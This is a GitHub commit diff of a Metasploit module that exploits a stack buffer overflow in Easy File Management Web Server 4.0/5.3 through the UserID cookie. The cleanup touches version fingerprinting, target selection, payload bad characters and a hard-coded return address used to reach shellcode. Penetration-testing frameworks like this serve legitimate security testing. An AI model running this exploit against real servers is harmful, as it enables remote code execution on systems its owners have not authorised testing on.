Skip to content

Commit 278a53c

Browse files
committed
Merge pull request #1 from jvazquez-r7/land_3433
Do minor cleanup
2 parents b27b00a + 34f98dd commit 278a53c

File tree

1 file changed

+32
-40
lines changed

1 file changed

+32
-40
lines changed

modules/exploits/windows/http/efs_fmws_userid_bof.rb

Lines changed: 32 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -12,16 +12,12 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
def initialize(info = {})
1414
super(update_info(info,
15-
'Name' => 'Easy File Management Web Server v4.0/5.3 Stack Buffer Overflow',
15+
'Name' => 'Easy File Management Web Server Stack Buffer Overflow',
1616
'Description' => %q{
17-
Easy File Management Web Server contains a stack buffer overflow
18-
condition that is triggered as user-supplied input is not properly
19-
validated when handling the UserID cookie. This may allow a remote
20-
attacker to execute arbitrary code.
21-
22-
This version exploits:
23-
Easy File Management Web Server v4.0
24-
Easy File Management Web Server v5.3
17+
Easy File Management Web Server v4.0 and v5.3 contains a stack buffer
18+
overflow condition that is triggered as user-supplied input is not
19+
properly validated when handling the UserID cookie. This may allow a
20+
remote attacker to execute arbitrary code.
2521
},
2622
'Author' =>
2723
[
@@ -42,9 +38,8 @@ def initialize(info = {})
4238
'Arch' => ARCH_X86,
4339
'DefaultOptions' =>
4440
{
45-
'ExitFunction' => 'process'
41+
'EXITFUNC' => 'process'
4642
},
47-
'Platform' => 'win',
4843
'Payload' =>
4944
{
5045
'BadChars' => "\x00\x0a\x0d;",
@@ -79,34 +74,31 @@ def get_version
7974
# NOTE: Version 5.3 still reports "4.0" in the "Server" header
8075
#
8176

82-
res = send_request_raw 'uri' => '/whatsnew.txt'
83-
if res and res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/
77+
version = nil
78+
res = send_request_raw({'uri' => '/whatsnew.txt'})
79+
if res && res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/
8480
version = $1
8581
vprint_status "#{peer} - Found version: #{version}"
86-
return version
8782
elsif res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/
8883
version = $1
8984
vprint_status "#{peer} - Based on Server header: #{version}"
90-
return version
91-
else
92-
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
9385
end
86+
87+
version
9488
end
9589

9690
def check
97-
91+
code = Exploit::CheckCode::Safe
9892
version = get_version
99-
unless version
100-
vprint_status "#{peer} - No response to request"
101-
return Exploit::CheckCode::Unknown
93+
if version.nil?
94+
code = Exploit::CheckCode::Unknown
95+
elsif version == "5.3"
96+
code = Exploit::CheckCode::Appears
97+
elsif version == "4.0"
98+
code = Exploit::CheckCode::Appears
10299
end
103-
if version == "5.3"
104-
return Exploit::CheckCode::Appears
105-
end
106-
if version == "4.0"
107-
return Exploit::CheckCode::Appears
108-
end
109-
Exploit::CheckCode::Safe
100+
101+
code
110102
end
111103

112104
def exploit
@@ -115,23 +107,23 @@ def exploit
115107
# Get target version to determine how to reach call/jmp esp
116108
#
117109

110+
print_status("#{peer} - Fingerprinting version...")
111+
version = get_version
112+
118113
if target.name =~ /Automatic/
119-
version = get_version
120-
if version =~ /5\.3/
114+
if version.nil?
115+
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
116+
elsif version =~ /5\.3/
121117
my_target = targets[1]
122-
else version =~ /4\.0/
118+
elsif version =~ /4\.0/
123119
my_target = targets[2]
124120
end
121+
print_good("#{peer} - Version #{version} found")
125122
else
126123
my_target = target
127-
end
128-
129-
#
130-
# Check if target appears to be vulnerable, if not exit
131-
#
132-
133-
unless check == Exploit::CheckCode::Appears || check == Exploit::CheckCode::Detected
134-
fail_with(Failure::NoTarget, "#{peer} - Target does not appear to be running fmws v4.0/5.3")
124+
unless version && my_target.name.include?(version)
125+
print_error("#{peer} - The selected target doesn't match the detected version, trying anyway...")
126+
end
135127
end
136128

137129
#
@@ -150,7 +142,7 @@ def exploit
150142
sploit << [0x1002466D].pack("V") # Push eax > retn
151143
sploit << payload.encoded
152144

153-
print_status "#{peer} - Trying target #{target.name}..."
145+
print_status "#{peer} - Trying target #{my_target.name}..."
154146

155147
#
156148
# NOTE: Successful HTTP request is required to trigger

0 commit comments

Comments
 (0)